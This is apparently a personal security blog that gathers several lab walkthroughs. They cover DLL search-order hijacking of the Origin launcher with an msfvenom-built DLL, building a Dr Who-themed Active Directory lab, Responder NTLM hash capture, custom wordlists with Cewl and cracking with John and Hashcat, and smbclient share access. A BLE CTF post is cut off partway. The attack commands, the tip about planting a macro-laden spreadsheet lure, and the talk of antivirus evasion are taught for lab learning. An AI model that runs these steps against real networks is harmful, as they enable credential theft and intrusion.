DLL Hijacking

What is DLL Hijacking?

Actually before we get onto what DLL hijacking is, let’s go back a step

What is a DLL?

A DLL is a “dynamic link library” and is used within Windows. It’s a library which contains code and data which can be used by many different applications. So rather than each application coding the same function, a DLL can be called to do it instead!

DLL Search Order Hijacking

The way that DLLs work, is that the program will request the DLL, it has a specific search order (which can be important!) if the DLL isn’t fully referenced.

For example, say the program Origin (the EA game store) installed in D:\Origin\ asked for DLL “test.dll”, the search order would be:

  • The directory which the application loaded (D:\Origin\test.dll)
  • The system directory (I think that’s C:\Windows\System32\test.dll – but not 100%)
  • The 16-bit system directory (I think that’s C:\Windows\System\test.dll)
  • The Windows directory (I think that’s either C:\Windows\System32\test.dll or C:\Windows\SysWOW64\test.dll – but not 100%)
  • The current directory (I guess where ever the shortcut is? Maybe C:\Users\Phil\Desktop\test.dll)
  • The directories that are listed in the PATH environment variable

This has been taken from the MS docs here and they don’t make it overly clear!

Normally, a DLL would be fully referenced, so if it’s in System32, the reference to the DLL will be “C:\Windows\System32\test.dll”. If it isn’t fully referenced, we could put a malicious DLL into the application folder, which would be loaded.

This method is part of the MITRE ATT&CK framework.

Searching for Non-Existant DLLs

Rather than looking for the search order and trying to abuse that. For this blog, we are going to look for DLLs that don’t exist but are requested by programs and place our own malicious DLL in the location requested, and see what happens.

To do this search, I’ve used procmon  which is part of the Sysinternals suite of software and readily available for download.

After downloading the app, run it and you will see a whole bunch of information on all running programs.

Once that’s running, I booted up Origin and saw that it made a whole bunch of requests.

There is so much information, that it is impossible to go through it all! However, we can filter by .dll.

Go to “Filter -> Filter” (or press Ctrl+L) and we need to add in a path search that contains dll

Click Add, then Ok and we see the list is a now a lot shorter! If interested in a specific program, you can filter on this as well to make the list much more manageable.

Now we have a shorter list, We can see the result has a few different options. One of which is “Buffer Overflow”, I have no idea what this is, but for me right now, more interesting is the “NAME NOT FOUND”. This means that the DLL doesn’t exist.

If we go to the folder, we can confirm that, as it should be between L and O. Thanks alphabet!

What does this mean though? What this means is everytime Origin is launched, it looks for a DLL that isn’t there. So if it was there, it would look for it, find it and execute whatever code was in it.

Creating malicious DLL

Luckily for us, creating a malicious DLL isn’t too difficult. The real challenge is getting it past Windows Defender and other anti-virus.
However, for this example, we are just going to pop a local command prompt. It is possible to do reverse shells, migrate payloads, load in a colbalt strike beacon or C2 droplet or literally anything else you could do with a computer!

So for this we are going to use msfvenom with the following:

msfvenom -f dll -p windows/exec CMD="C:\windows\system32\cmd.exe" -o shell32.dll

This runs through and creates a DLL

We don’t want it to be called shell32.dll however. We need it to be “midimap.dll”. A quick mv get’s the file as we want it.

Now that we have our malicious(ish) DLL, we need to move that over to our target.

I have spun up a VM for this, with Origin installed on it, so the path is now C:\Origin\

Using a SimpleHTTPServer and a web browser, I can directly download the new DLL onto the Windows VM

Saving it directly into C:\Origin\

However, not unexpected but the dll is flagged by Defender and removed immediately.

Well bugger, ok. For this PoC if I log in as Admin I can allow the file through!

After allowing the file, redownloading it stops it from being removed by Defender.

Running Origin

Now that’s there. Origin should call that DLL which will pop a cmd box.

There we have it, a command prompt opened as we can see the Origin process called that midimap.dll a number of times.

However, the shell is the same low privilege user that I am logged in as. So this isn’t a priv esc 0day in Origin, it’s just exploring DLLs!

What’s next?

So what’s next for this attack and our research, well there are 2 main things:

  • Finding DLLs that run as privileged users

Although this attack is fun and looks cool, it hasn’t gained us anything. We would just have a shell as the user logged in, what we really want from this is priv esc. So searching for those DLLs that get called as an admin user would gain so much more!

  • Writing payloads to avoid AV

The second useless part of this attack in it’s current form, is I needed to use admin creds to allow the payload onto the machine. If you could do this, then there is no point in the attack, as you’d have the admin creds! So writing bespoke programs that avoid AV detection is also a really important area to look into!

It might also be worth looking for programs where you can abuse the search order. Finding DLL’s that haven’t been properly references, although I have no idea how you would do this!

Ep 4: Using smbclient to view SMB shares

Welcome to Episode 4 of my Learn stuff series. You’ll remember that in Episode 3 we managed to crack the hash that we captured using responder in Episode 2. This now means that we have a username and password combination.

This is great! But, in an engagement what are the next steps? What can we do with this and ideally what are we looking for?

As always with this series, there is a video which goes through the same steps, this is available here: https://youtu.be/5XkwDsCrBig

What do we have?

Well in the last episode we managed to crack the hash using both JohnTheRipper and Hashcat using a bespoke wordlist we created with Cewl.

This  means that we now have credentials for a user on the domain:

Username: Tardis\Rose
Password: Mickey1

Where next?

So, what can we do with that? This is where the tool smbclient comes into play. This tool is built into Kali and let’s us use our Kali instance to try and connect to SMB shares. This are often known to end users as “Z drive” or similar.

They are a central repository for files that are hosted on a physical machine on the network. Often most users will have access to the share’s although some may be restricted based on security groups within Active Directory, keeping really sensitive data private e.g CEO e-mail backup!


Often within CTFs when looking at SMB it’s when hunting for a password, or a database that contains a password, but in the real world this might not be the most juicy of targets. Sure a password might get you into another system, but it’s likely all the information you need is within these shared files.

So what should you be looking for?

  • Clients lists
  • HR documentation (Hiring/Firing/Disciplinary action)
  • Salary details
  • Business plans – buy outs, major inventions etc
  • Financial records

All of these could have a bigger impact for a company than just a password for another system. Think of the damage an attacker could do if they got a list of everyone the company had fired, or the stock market implications if a buy-out was about to happen.

If an attacker got a full client list with details, they could then use this information to perform phishing attacks on other companies with an almost guaranteed in!

All of these are highly sensitive data that could have huge ramifications for a company. If you are doing a real-world engagement, these are the things that need to be fed back.

What else?

Well, if you have write permissions, which is likely, you could put a file onto the share. Something named “2019-2020 salary details.xlsm” would be enticing for anyone to click on. The embedded macro (who noticed it was .xlsm?) could then pop a reverse shell, or make a request to our SMB share to capture more credentials or a range of other attacks that would further our foothold in the network.

So how does it work?

Well first up, we have TheDoctor with some shared drives on it.

These files are accessible to users within the domain that have the correct level of access!

So from Torchwood it’s now possible to use SMBClient to gain access to those files. SMBClient can check for anonymous access, which is widely used within CTFs:

smbclient -L \\ -U anonymous

However in this instance, the shares require authentication against the server. This is the default settings within Server 2016 & 2019 , so finding anonymous shares is going to be become a rarity outside of CTFs.

For SMBClient there always needs to be double the amount of backslashes, this is due to the backslash being the escape character in python, so you have to escape the escape for it to work! If your command doesn’t work, check the number of backslashes.

Next up, we can use the credentials that we have. The W flag is for the workgroup, in this case the TARDIS domain and the U flag is for the username.

smbclient -L \\ -W TARDIS -U Rose

We can see that there are a few different shares available to us, but note that not all shares are available:

For example the user Rose doesn’t have access to the “Dalek Database” or “Gallifray”. This means that it might be required to compromise another user to gain further access!

However, we do have some shares that are available and we can access them using:

smbclient \\\\\\Companions -W TARDIS -U Rose

It’s also possible to download all the files onto the local machine using the get command, allowing for offline searching at later time.

Looking at the wireshark traffic for this, it looks very similar to a legitimate SMB request, so it would be difficult for a sysadmin to find within the logs.

It’s also possible that the user has write access to the share. This can allow malicious files to be uploaded, or if there is LFI within a web application your own code can be run, which again is a CTF favourite.

We can upload files using the put command:

put HowtheTardisWorks.txt

That’s all folks!

This is a really effective tool, with the traffic looking like real requests in an area that there is generally a lot of traffic doing similar. This allows hunting for those sensitive files with potential for company secrets, additional phishing material or passwords for more systems!

The only problem is you may not know where the shared files are stored and that’s where a tool called CrackMapExec (CME) comes in to play! On the next Episode I’ll take a look at using CME to hunt for SMB shares and using the credentials for further access!




Ep 3: Creating bespoke wordlists and cracking a hash!

Welcome to Episode 3 of this learning stuff series. If you’ve missed them Episode 1 involved the building of a lab and Episode 2 looked at SMB and using responder to capture a hash.

This episode we will take a look at creating a bespoke wordlist using a tool called Cewl and trying to crack the hash we captured in Episode 2 using JohnTheRipper and Hashcat.

As always with this series, there is a video available here: https://youtu.be/vK51T3NwzPw (where this week, we learn that I should not try to speak other languages!)

A reminder that my lab is all set up as a Dr Who theme, with TheDoctor as a Server 2019 Domain Controller, TheMaster as a Win10 domain joined machine and Torchwood as my Kali box. All users within the lab also follow the theme, with Clara as a domain admin and Rose as a domain user.

What do we have?

So from the last episode we got a hash from responder

Copying these hashes, I’ve put them into a text file that we can feed into the cracking tools later on.

Before we can crack these, we need to create a wordlist. There are a bunch of huge wordlists that we could try, such as RockYou which is built into Kali or any of the SecList popular passwords. These would be a go to on a real engagement where people have used standard passwords. However the password for Rose isn’t in Rockyou (I checked) and I doubt it’s in the SecList’s lists.

As the lab is all Dr Who themed, it would be a safe assumption that the password will follow that theme, so creating a bespoke wordlist would make sense.

**Note: This fucked up once. Fixing with an actual crackable password**

Note: I actually ran through this entire blog with the password we set in Episode 1, however this ended up not being in the wordlist, so therefore didn’t crack! So before we go through this, let’s change the password and re-capture the hash.

Opening up a command shell as admin

net user /domain Rose *Redacted*

Then we need to start responder again

sudo responder -I eth0 -v

Visiting a fake share then provides a new hash! That then get’s added to the responderhashes.txt file.

**End Note**

Using Cewl

To do this there is a tool created by Robin Wood called Cewl, this is pre-built into Kali or is available on GitHub.

When creating a bespoke wordlist, we have to think about the source of the wordlist, where would be a good place. For a business it could be their website, but for this lab, I think 2 wikipedia pages will be the most beneficial:


So these will be our targets. Looking at the help for Cewl there are a few options available to us:

Some of these options are great, the option to Spider a website and bring back all pages is brilliant for business pages, but might not be a good idea on Wikipedia! There is also the minimum word lengths, which allows us to skip any low character words, so ignoring all “a, an, on, in” type words that are unlikely to be a password. It can even do authentication agaisnt a website which is brilliant for those restricted pages!

For our purposes, we will use 0 depth and a minimum word length of 3 for the sites. I also want to write the output to the file, so will include the -w flag.

The tool can only deal with 1 URL at a time, so the 2 commands were run:

cewl -d 0 -m 3 -w Doctor_Who.txt https://en.wikipedia.org/wiki/Doctor_Who
cewl -d 0 -m 3 -w Rose_Tyler.txt https://en.wikipedia.org/wiki/Rose_Tyler

The tool runs unbelievably quickly and produces an file with the wordlists in. A quick wordcount shows that the Doctor_Who output has 5,494 words and the Rose_Tyler has 2,809 words! Madness!

The tool also removes any duplicate words, so you are left with a wordlist full of unique words, taking a look through the wordlist we have a whole range of words, some of which could plausibly be the password.

However,we still have two wordlists. We can combine these using cat and then sort them by uniqueness. This leaves us with a wordlist of 6,652 words.

cat Doctor_Who.txt > Passwordlist.txt
cat Rose_Tyler.txt >> Passwordlist.txt
sort -u Passwordlist.txt > Unique_Passwordlist.txt

There is a problem with this wordlist though. It is only words with upper and lower cases, to improve password security it’s likely that the user has added in some symbols, done some leet speak or added some trailing numbers, so we need to run this list through some rules to create variations of each word.

Using rules for a better password list

Within the JohnTheRipper tool there is an option for mangling wordlists with rules. There are some built in rulesets which will add in various different items to the wordlist. For more options on the John rules, I found an excellent cheatsheet.

This can be used directly when cracking, but ideally we want a new file so we can see what the rules command has really done.

The command needed for this is:

john --wordlist=Unique_Passwordlist.txt --rules=single -stdout > Rules-wordlist.txt

The wordlist is the passwordlist we created earlier using cewl. We then want to use the single ruleset which will add in some additional data to the wordlist.

This level of mangling allows this to finish quite quickly, and gives a much bigger list, with over 5 million words now!

Doing a grep for Cybermen now brings back 287 results!! This has all extra letters and numbers before and after the word.

I did try running all rules and it took over an hour and had 406million entries which is bonkers!

Now that we have the extended wordlist, we can run this through John and Hashcat to try and crack the password!

Cracking the Hash

There are a number of different programs that can be used to crack hashes but the two most popular are JohnTheRipper and Hashcat, both of which are pre-installed on Kali.

I find John easier as it looks at the hash and works out the format for us, so it’s the easier way. The crackers can do pure bruteforcing, so going through characters, set to a mask or to a certain amount of characters, however another option and the one we will use is to use a wordlist which the cracker will run through and see if the hash matches.

John The Ripper

The syntax we need for this is:

john --wordlist=Rules-wordlist.txt responderhashes.txt

This will then identify the hashes and try to crack them. I left previous hashes from the old password in the file, so there were 3 different hashes available for John to try and crack.

Full success! It cracked the password, which was Rose’s other half with a number after to ensure that higher level of security! (You’ll notice that the previous password did not crack, as the wordlist mangling didn’t do as much to get that password)

With John, if there are a whole load of passwords, you can also show the cracked passwords from a file. This is a really easy syntax:

john --show responderhashes.txt

This shows the username, password and the hash for all cracked credentials.


I find hashcat slightly less intuitive but it is just as powerful as john, so we can use the same details, the hashes and the wordlist, however hashcat doesn’t identify the type of hash, so we have to find that out. It’s available within the help:

hashcat -h | grep NTLM

This returns all the NTLM options:

I think we want to use NetNTLMv2, so hashtype 5600. We also need to set the attack mode to straight (0) and output file for cracked passwords, then the hashes file and the wordlist. Due to this being on a VM we then need to run –force as it doesn’t have a GPU to use. Our final command looks like:

hashcat -m 5600 -a 0 -o cracked-password.txt responderhashes.txt Rules-wordlist.txt --force

This then runs through the wordlist until it’s exhausted or all hashes are cracked.

We can see that the status was exhausted meaning it went through the entire wordlist and could recover 1/3 of the passwords. We can also see that this only look 22 seconds which is crazy fast!

As we set an outfile, we can cat that file to get the cracked password.

Similar to john, this gives us the username, the hash and the cracked password!


So once we have some hashes, it is super straight forward to create a bespoke wordlist and run the hash through crackers. I’d expect in a big environment the passwords wouldn’t be too complicated and standard mixed with bespoke wordlists will be able to crack a large amount.

As we now have a set of credentials, in the next episode we will look at tools that we can use with them. I’ll take a look at smbclient, crackmapexec and will do more videos to look at running Bloodhound on the domain to see what we can find out!

If there is anything you’d like me to look at or explain, feel free to let me know on twitter!


Ep 2: Understanding Responder

This is epsiode 2 of my Learning stuff series. If you missed Episode 1: Building a lab you can find the video here and the blog here!

There as always is a video that goes along with this blog, which can be found on youtube here: https://youtu.be/7wSXxxotmFc (This time we learn that I cannot elegantly shuffle playing cards!)

Now that we have our Lab set up, we are going to start doing some attacks and understanding how they work. Today we are going to look at the tool responder.

Between the videos I also set up a kali box which I will use for attacking. This box has been named “Torchwood” as it’s my support box that is always there when I need it!

Setting up RDP

However before that, I wanted to get RDP access enabled on the boxes, so that I can do the videos in fullscreen as vmware tools was being a dick. As with building the lab I’ve tried to make this as easy as possible so I’ve written some powershell.

These need to be run on both TheDoctor and TheMaster. I’m sure it could be done by group policy however with only 2 machines, this is an easier method for now.

Add-LocalGroupMember -Group "Remote Desktop Users" -Member Clara, Rose

Then we need to enable RDP and allow the remote desktop policy via the firewall.

Set-ItemProperty ‘HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\‘ -Name “fDenyTSConnections” -Value 0
Set-ItemProperty ‘HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\‘ -Name “UserAuthentication” -Value 1
Enable-NetFirewallRule -DisplayGroup “Remote Desktop”

Perfect, now we can RDP into both machines making life slightly easier.

Configuring Shared Folder

For responder to work, we need to have a shared folder that we try to access over SMB. To create a shared folder, you guessed it, we have some powershell.

We are going to have a folder on TheDoctor and access it from TheMaster. Then we will put responder in the way to see what happens.

On the Domain Controller, logged in as Clara (DA) this powershell will create a folder called Timelords in the C:\ drive and share it with the user Rose.

New-Item -Path "C:\" -Name "Timelords" -ItemType "directory"
New-SMBShare –Name “Timelords” –Path “C:\Timelords” –FullAccess tardis\rose

If you want to remove the share for any reason, this can also be done via Powershell

Remove-SMBShare –Name “Timelords”

So now that we have a shared folder, we can look at connecting to it from TheMaster.

Logging onto TheMaster as Rose, we navigate to \\TheDoctor\Timelords, this let’s us see the connection works and the files are there.


Now to understand how this all works I’ve downloaded Wireshark on both machines and we can track the traffic to see what happens.

Understanding SMB

Wireshark is super powerful and has lots of filters that we can apply to get the data that we want. First up, we want to only look at the traffic between TheDoctor and TheMaster, we do this by adding a filter

ip.addr == and ip.addr ==

This has now restricted the output that we see.

As you can see, there is a lot of information with Windows background stuffs that happens. Some KRB5 which is the kerbose tickets and some TCP and DNS traffic. However in the middle, there are 4 lines for SMB and SMB2. This is what we are interested in.

It’s possible to look at that and follow the stream, so all the data that is related to that. To do that, right click on the line and go “Follow” -> “TCP Stream”

Now we can see that this stream is the SMB traffic we want. It’s filtered on stream 13, it’s likely your number will be different.

This now shows only the packets that are used within this transaction. The ones we are interested are quite near the top:

I’ve highlighted the key areas in red. At the start the SMB specific protocol is negotiated between the machines. Ending on using SMB2!

Then a session is requested and setup successfully.

TheMaster then requests the actual directory \Timelords. I think due to the lack of second leading “\” an error is returned in form of a 404.

Then finally, TheMaster requests the correct directory which is in the form of a request tree. This is then granted by TheDoctor.

Once that has been complete, TheMaster then makes a request for all the files in the directory which TheDoctor sends back. These can be seen through these packets:

This process has given all the information needed between the two hosts.

This interaction has used SMB2, however there are 2 other versions available.

There is the older SMB1 that became well known with the EternalBlue vulnerability (MS17-010) which allowed the WannaCry malware to spread. This protocol allowed for certain pipes to be exploited resulting in variety of attacks including reverse shells. To check if your machines still have SMB1 enabled, there are Powershell one-liners:

For Windows 7/Server 2k8(R2)/Vista

Get-Item HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters | ForEach-Object {Get-ItemProperty $_.pspath}

(Default configuration = Enabled (No registry key is created), so no SMB1 value will be returned)

For Windows 8/Server 2012

Get-SmbServerConfiguration | Select EnableSMB1Protocol

For Windows 10:

Get-WindowsOptionalFeature –Online –FeatureName SMB1Protocol

For Server 2016/2019:

Get-WindowsFeature FS-SMB1

The step up to SMB3 increases the encryption complexity as well as various performance and availability upgrade. Full details of the versions can be found on this microsoft doc.

Also with SMB it is possible for shares to be configured to allow anonymous access, this is a quick win for an attacker if it’s enabled. To double check we can use our Kali box, Torchwood, using a tool called smbclient we can attempt to list the available shares from TheDoctor as an anonymous user.

smbclient -L -U anonymous

In this case, anonymous access hasn’t been selected on the share, which is for the best!

(We may come back to smbclient once we have a password!)

Exploring Responder

Responder should be installed on Kali as default. If not it’s possible to download it from the lgandx Github page.

What this tool does, is intercepts that request for an SMB share, stating that it is that share. Therefore the client sends over the password hash to authenticate and check access. This hash is then captured and might be crackable.

Looking at responder’s help file, there is a lot of different options which are available.

What we are interested in doing, is setting responder on our external interface in verbose mode. What we want to avoid is breaking anything, so we don’t want the -r function or the WPAD server.

sudo responder -I eth0 -v

This then runs and shows all the servers it is pretending to be. Really we are only interested in the smb server.

Before accessing the share, we are going to get Wireshark going again on all boxes, so we can see what happens differently now that Responder is in the way!

Interestingly, when visiting the share (which i’d already visited for the stuff above) responder saw some details:

It however, didn’t capture a hash, it just did some poisoning.

However on TheMaster I was able to see the folder without an issue. This would indicate as I had already visited the share, I also had been authenticated to the DC via a Kerberose golden ticket so an additional authentication request wasn’t required.Also it’s likely that TheMaster had the DNS record of where that file was so didn’t need to “look” for it on the network.  Looking at the Wireshark output similar to the previous requests was done.

To try and understand this a little more, I restarted TheMaster and cleared the DNS with some powershell:


Now TheMaster shouldn’t know where the sharedfolder is stored, so may make more requests. However it was able to find TheDoctor and the share without any issue.

Capturing Hashes through fake shares

Looking online, a lot of articles mention visiting shares and computers that don’t exist. So if we try to visit


We might be able to replicate the searching that would happen on a network.

If we don’t have responder running, we can see these requests in the Wireshark output:

We can see that there are requests made via DNS, with responses coming back as “No such name”, so in effect 404 errors. Then once the DNS has failed, Windows moves onto the MDNS protocol and finally LLMNR.

All of these requests fail and is basically TheMaster shouting into the void.

This is now perfect ground for Responder, as it can pretend to be \\DALEK\DALEK and get the NTLM hash from the user.

Running Responder on Torchwood:

sudo responder -I eth0

Then on TheMaster we re-try to access \\DALEK\DALEK. This time responder poisons the answer sent back to confirm that it is that share. We can see this in the wireshark output:

What we can see is that the same requests are made, firstly by DNS which isn’t found anywhere. Then the MDNS request is made, where Responder on Torchwood ( broadcasts an arp request to find out where the send the repsonse, then replies saying that it is that share.

This success message is then sent back to TheMaster. This then kicks off a similar transaction to what we saw before. However, due to the machine not being pre-connected via the Domain. It makes a request for NTLM_SSP CHALLENGE back to TheMaster.

This is then responded with the NTLMSSP_AUTH for the user TARDIS\rose and this is the hash that we are interested in.

From Responder, the output that you will see is similar to below. It shows that it has poisoned the MDNS request, then get’s the NTLMv2-SSP details including the hash!

This is great, we have requested the auth and it’s been provided in the form of the hash. Success!

Interestingly if you run Responder with the -v (verbose) flag, it shows each of the hashes and they have varying salts and results, meaning you get a large amount of different hashes.

The user who tried to visit the share, then receives a sign-in popup box:

If the user puts in their credentials, they receive an “Access is denied.” message

If you want to keep testing with Responder and want to re-capture hashes, you need to clear the cache which is in the Responder database:

sudo rm /usr/share/responder/Responder.db

So this is great, we got our hash. So what happened that was different to before? Well this time TheMaster didn’t know the location of Dalek, so it sent out requests to try and find it, it also wasn’t already authenticated via Kerborose tickets so it needed to do the entire NTLM_SSP auth process again, which is what provided the hash.

Using Responder in the real world

However, in an environment which uses Group Policy to push down mapped drives onto the users machines, they never type in the paths, so wouldn’t ever have a reason to enter in the wrong machine name.

In a large network, like most companies would have, the DNS, MDNS and LLMNR requests would be made, to find the share and if responder sits in between the source and destination of the request and the actual server, it will pretend to be the server with that share.

Once it has poisoned that request, it will do the same exchange as we saw with the \\Dalek\Dalek share and request the NTLM_SSP Auth as the fileshare isn’t likely to be on a Domain Controller so would not already be authenticated via a golden ticket, this would then result in a hash being provided.

However, if the request finds the actual server first, this is then cached within the DNS cache on the machine, resulting in all future requests knowing exactly where to go, skipping any chance of responder working. All you’d have left is to hope someone mistypes in the fileshare path and you can claim that hash!

It’s important to remember that when this tool is running, end users cannot access the fileshare. So if you leave it on for an hour, a user might not be able to access files for that entire hour. This can be really bad news, especially if its a Monday morning and they have an important presentation or similar!

Although not a full success in the lab environment, this tool can still be powerful in the real world and is worth running, but it’s worth running before those DNS cache’s have been created, so at the start of the day as people as logging on, or after lunch when they have been away for a while. It’s not impossible that you won’t catch any hashes, but it’s always worth a shot!

Let’s pretend….

Seeing as how this series is all about learning things. Let’s pretend that last part worked, and like we did when an incorrect filepath was entered, we captured a hash. What can we do with it now? Well seeing as how everything in this domain is Dr Who related, I think the password might also be related, so in Episode 3 we will look at using tools to create bespoke wordlists, finding out about rules and hopefully cracking the hash!

Hopefully this blog was useful in showing how SMB works at a low level and how responder can sit in the middle and pretend to be the server to get some hashes. As responder has many more functions that just SMB, I’ll try and take a look at the other options in another Episode further on in the series.




Ep 1: Creating a Active Directory Virtual Lab


This is quite exciting for me, this is Episode 1 in my official Learning Stuff series with the tagline: “Knowing stuff is cool, learning just takes longer”.

The video that accompanies this blog is available here: https://youtu.be/ZKrkkUlssAE

This series is going to go through a set of different attack, defence and general pentesting theories and practicals. The idea is hopefully I can explain things to you in a way that helps, maybe that others haven’t. We shall see!

So first up, before we can do anything specific, we need to build a lab! For this I’m using an ESXi host that I have access too, however the same thing can be achieved by using VMWare on your own machine.

Setting up Lab

I ideally wanted to build the lab using Packer/Terraform/Vagrant however after many hours of trying I always ended up failing, so I’ve parked that for now until I get more time. Hopefully in the future I’ll have a blog about that sort of automation. However for the moment, I am just going to spin up boxes the old fashioned way, however I’ve got a whole bunch of powershell to make it slightly easier.

The hardest bit is choosing the domain, computer and user names. But I always like to theme things, so for this I’ve gone down the Dr Who route! What my lab will consist of for this video is:

1x Windows Server 2019 - TheDoctor

1x Windows 10 - TheMaster

Domain Name: tardis.local

User 1 (Regular user) - Rose Tyler (rose@tardis.local)

User 2 (Domain Admin) - Clara Oswald (clara@tardis.local)

Firstly go through the normal Windows set up:

Once both the Server and Win10 machines are booted. We need to set up a few little things. This powershell script will set the Hostnames and IP addresses which will allow the connectivity we need.  On the lab I’m using, there is DHCP set-up so I don’t have to set up the IP manually, but I’ve left it into the powershell script for you to use, obviously change the variables to suit your lab.

If you haven’t set up Active Directory before or a lab at all, and want to do it without Powershell, my friend myexploit2600 has written an excellent step-by-step guide.

First up we need to configure the Server and add Active Directory. After that we can sort the Win10 machine.

Windows Server 2019

Setting IP and Hostname

$Interface = "Ethernet0"
$IPAddress = ""
$DefaultGateway = ""
$Hostname = "TheDoctor"
New-NetIPAddress –InterfaceAlias $Interface –IPAddress $IPAddress –PrefixLength 24 -DefaultGateway $DefaultGateway
Set-DnsClientServerAddress -InterfaceAlias $Interface -ServerAddresses $IPAddress
Rename-Computer -NewName $Hostname

The machine will then re-boot so these changes have taken affect. Re-log into the Server.

Once we have the correct hostname and network connectivity, we can covert this server into a Domain Controller. It should be noted that this isn’t relevant for this lab specifically and with running responder it’s possible without. However I’m going to use this lab in the future, hopefully looking at some domain based attacks, so I might as well set it up right from the off.

To change the server to a Domain Controller, we need to install the Active Directory modules, again this Powershell script should do it all for you. Just change the domain variables at the top.

Setting up Domain Controller

$DomainName = "tardis.local"
$DomainNetbiosName = "TARDIS"
$SafeModePassword = "!S0n1cScr3dr1v3r1" | ConvertTo-SecureString -AsPlainText -Force

Install-PackageProvider -Name NuGet -MinimumVersion -Force
Install-WindowsFeature AD-Domain-Services 
Import-Module ADDSDeployment 
Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath “C:\Windows\NTDS” -DomainMode Win2012R2 -DomainName $DomainName -DomainNetbiosName $DomainNetbiosName -ForestMode Win2012R2 -InstallDns:$true -LogPath “C:\Windows\NTDS” -NoRebootOnCompletion:$true -SysvolPath “C:\Windows\SYSVOL” -Force:$true 
Install-Module ServerManager 
Add-WindowsFeature RSAT-AD-Tools

This again will reboot, log back in and we now have a domain up and running!

Now all the domain needs is some users. Again I like to stick with a theme! Change the variables to suit your own environment (I know not everyone will want a Dr Who based Domain)

Adding Users

$OUPath = "DC=tardis,DC=local"
$DomainUserPath = "OU=Domain Users,DC=tardis,DC=local"
$DomainAdminPath = "OU=Domain Admins,DC=tardis,DC=local"
$User1Name = "Rose"
$User1GivenName = "Rose"
$User1Surname = "Tyler"
$User1SAMAccount = "rose"
$User1PrincipalName = "rose@tardis.local"
$User1Password = "B4dW0lf" | ConvertTo-SecureString -asPlainText -Force
$User2Name = "Clara"
$User2GivenName = "Clara"
$User2Surname = "Oswald"
$User2SAMAccount = "Clara"
$User2PrincipalName = "clara@tardis.local"
$User2Password = "Imp0ss1ble!" | ConvertTo-SecureString -asPlainText -Force

New-ADOrganizationalUnit -Name "Domain Users" -Path $OUPath -ProtectedFromAccidentalDeletion $true
New-ADOrganizationalUnit -Name "Domain Admins" -Path $OUPath -ProtectedFromAccidentalDeletion $true
New-ADUser -Name $User1Name -GivenName $User1GivenName -Surname $User1Surname -SamAccountName $User1SAMAccount -UserPrincipalName $User1PrincipalName -Path $DomainUserPath -AccountPassword $User1Password -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true
New-ADUser -Name $User2Name -GivenName $User2GivenName -Surname $User2Surname -SamAccountName $User2SAMAccount -UserPrincipalName $User2PrincipalName -Path $DomainAdminPath -AccountPassword $User2Password -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true
Add-ADGroupMember -Identity "Domain Admins" -Members Clara
If lots more users are required, it’s worth creating a spreadsheet or similar with the information and importing it, as I’m only currently adding 2 users (one user and one admin) I’ve just put it all in variables.
To check that the users have been added, it’s worth looking in “users and computers” to check the OUs and Users are where they should be.
This script also then elevates Clara to a Domain Admin by joining her to the DA group. This will allow that user to add other computers to the domain and other privileged rights.
A good tip with Users and Computers is to enable “Advanced Features” by going to View -> Advanced Features. This then gives more property options on each OU and users.
Once that is done, we have a Domain set up with some users, with different permission levels. At a later stage, I’ll set up some group policies and other hardening bits and pieces but these aren’t required for the moment.

Windows 10

Let’s now turn our attention to the Win 10 box.
We firstly need to set the hostname and the IP address as we did before. However on the Windows 10 box, before we can run scripts, we need to set the Powershell bypass policy, this will allow any scripts to run. This is a really bad idea in corporate environments, but is fine for our private lab.
set-executionpolicy unrestricted

Setting IP and Hostname

$Interface = "Ethernet0"
$IPAddress = ""
$DCIPAddress = ""
$DefaultGateway = ""
$Hostname = "TheMaster"
New-NetIPAddress –InterfaceAlias $Interface –IPv4Address $IPAddress –PrefixLength 24 -DefaultGateway $DefaultGateway
Set-DnsClientServerAddress -InterfaceAlias $Interface -ServerAddresses $DCIPAddress
Rename-Computer -NewName $Hostname

Once that is configured, we need to join the machine to the domain. This will make that connection to give access and be able to log in using the domain user and admin that we created earlier.

Adding machine to domain

$domain = "tardis.local"
$password = "Imp0ss1ble!" | ConvertTo-SecureString -asPlainText -Force
$username = "$domain\Clara"
$credential = New-Object System.Management.Automation.PSCredential($username,$password)
Add-Computer -DomainName $domain -Credential $credential
Now that’s done. We can log back into the machine with the domain creds that we set up earlier on TheDoctor.
What we also need on this network, is a Kali Linux box for doing the attacks from. I’m not going to go through how to set up Kali but hopefully it’s easy enough.
For a lot of the attacks, it will be interesting to see what’s happening on all machines. So I’m going to download and install Wireshark on all machines.

That’s it, we now have our lab set up. It’s bound to grow and evolve over the course of this series, but this is a good place to start!

Next Step!

Next up in Chapter 2 I will look at responder, starting with setting up shared folders, creating a regular task to check the share and capturing some hashes. I’ll also do a deep(ish) dive into the traffic going across the network using Wireshark.

If there are any other attacks you’d like to see me do and explain. Please let me know on twitter.

Hope you enjoyed this and keep learning!!

BLE Hacking

I have recently been given a STM32 with a BLE CTF on it!

I’m using a basic STM32 board similar to this.

The CTF is available on GitHub.

I’ve set up a Raspberry Pi 3 which has built in bluetooth and have set a static IP so I am able to SSH into it from my kali box. I’m new to BLE so let’s jump in and see what happens!

Bluetooth Config

First up, we need to check our bluetooth connections, which work a bit like our network connections, but instead of ifconfig we use:

sudo hciconfig -a

We can see in the response that the interface is down. To put this up, we just need to do

sudo hciconfig hci0 up

Now the interface is up and we should be able to use this to do some fun stuffs with bluetooth!

Next we need to find out if it’s possible to see the device, there are a few different tools that can  be used, but for the moment I’m going to stick with the hcitool set. There is a hcitools which allows scanning of bluetooth low energy devices.

sudo hcitool lescan

This scans through and picks up any bluetooth devices around. What we are interested in here is the BLECTF06 device, with the MAC address of:


So we know the MAC address and can use this to connect to the device and try and interact with it.

There are again a number of tools, one of the most popular is bettercap, but I had endless issues with it, which I think was due to the fact my PI has no outbound connectivity and it wouldn’t allow using hci0 as an interface.

If anyone knows how to fix this, please send me the answer over twitter, i’d really appreciate it!

So instead of bettercap, I’m going to use the now depreciated gatttool.

Connecting to the Device

Gatttool has a great interactive mode:

gatttool -I

This provides a command line, doing a help provides some of the main commands:

We need to connect to the device, we can use the MAC address to do this. Once connected, we can get some information from the device, however gatttool doesn’t let me dump all the data, which I want to do.

The options like characteristics give us a lot of information, but not too useful at this point

Device Enumeration

